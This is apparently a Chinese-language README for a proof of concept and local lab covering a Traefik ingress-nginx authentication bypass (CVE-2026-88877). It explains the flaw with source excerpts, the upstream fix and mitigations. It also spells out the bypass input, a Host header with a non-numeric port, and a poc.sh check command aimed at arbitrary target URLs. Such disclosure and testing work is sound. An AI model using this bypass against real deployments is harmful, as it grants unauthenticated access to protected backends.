CVE-2026-88877 的概念验证与可复现实验环境,该漏洞是 Traefik ingress-nginx 通过 from-to-www-redirect 实现的认证绕过,并带有只读检查模式。
v3.7.0–v3.7.11 — 通过 from-to-www-redirect 实现的认证绕过作者: pwnVader · 许可证: MIT(仓库根目录)
| 组件 | Traefik(Kubernetes ingress-nginx provider,providers.kubernetesingressnginx) |
| 类型 | CWE-639 — 通过用户可控键实现的授权绕过 |
| 受影响版本 | Traefik >= v3.7.0, <= v3.7.11(v2 和 < v3.7.0 不受影响) |
| 修复版本 | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3(严重,依据厂商公告) · CVSS 3.1 9.8(部分漏洞数据库发布) |
| 官方公告 | GHSA-cjr6-pf59-jq29(Traefik 仓库公告) |
| PoC | poc.sh · lab/ |
披露状态。 该漏洞由 Traefik 项目公开披露,并已在 v3.7.12 中修复。本文档是一份独立的技术分析,附带可复现的实验环境——并非原始发现。 该漏洞是通过上述厂商公告报告/披露的(另见 VulnCheck 公告)。未经明确授权,请勿将本材料用于任何系统。
GHSA 标识符。 官方仓库公告为 GHSA-cjr6-pf59-jq29。GitHub 的通用公告数据库中还有一条针对同一问题的独立记录 GHSA-9rch-gvf7-hrfc;引用该漏洞时,请优先使用仓库公告。
当一个 Ingress 同时带有认证注解(例如
nginx.ingress.kubernetes.io/auth-type: basic)和
nginx.ingress.kubernetes.io/from-to-www-redirect: "true" 时,Traefik 的 ingress-nginx provider
会创建一个额外的 “兄弟”路由器,它仅匹配主机名,只携带生成的
RedirectRegex 中间件,却仍然指向受保护的后端:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex 不是终端处理器:如果其正则表达式不匹配,请求会被传递给下一个处理器,并最终被代理到后端。该正则表达式只接受数字端口((:[0-9]+)?),而 Traefik 的 Host() 匹配器会通过 net.SplitHostPort 对 authority 进行规范化。因此,Host 头中带有非数字或空端口的请求会:
Host("www.example.com")),但www.example.com:x),因此不会被重定向,并且一个未经认证的请求——Host: www.example.com:x——即可到达需要认证的后端。返回的 HTTP 状态取决于后端本身:在本实验环境中,traefik/whoami 后端返回 200,但安全相关的事实是该请求在未经认证的情况下到达了后端,而非具体的状态码。
v3.7.0–v3.7.11 运行并启用了 ingress-nginx provider
(--providers.kubernetesingressnginx=true)。nginx.ingress.kubernetes.io/from-to-www-redirect: "true" 结合使用,且主机没有对应的 www.
主机(否则不会生成兄弟路由器)。# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check 也可以指向任何候选部署:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
实验环境中使用的后端(traefik/whoami)会回显请求,证明该请求在没有任何 Authorization 头且未应用认证中间件的情况下到达了受保护的服务。显示的状态码(200)是该特定后端返回的结果;若使用其他后端,该绕过可能表现为其他非 401/403/非重定向的响应。
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
重定向路由器现在指向一个内部的 unavailable 服务,因此即使请求绕过了正则表达式,也永远无法到达受保护的后端。
更新至 Traefik v3.7.12 或更高版本。无法更新的安装应暂时从任何结合了认证或允许列表的 Ingress 中移除
nginx.ingress.kubernetes.io/from-to-www-redirect,并使用能够保留访问控制中间件的配置来实现重定向(例如显式的 Traefik RedirectScheme/RedirectRegex CRD,并附加相应中间件)。纵深防御:同时在后端/上游强制执行认证。
仅限授权安全测试使用。实验环境为本地且自包含;check 模式为只读(三次 GET 请求),且仅可用于您拥有或获得明确授权测试的系统。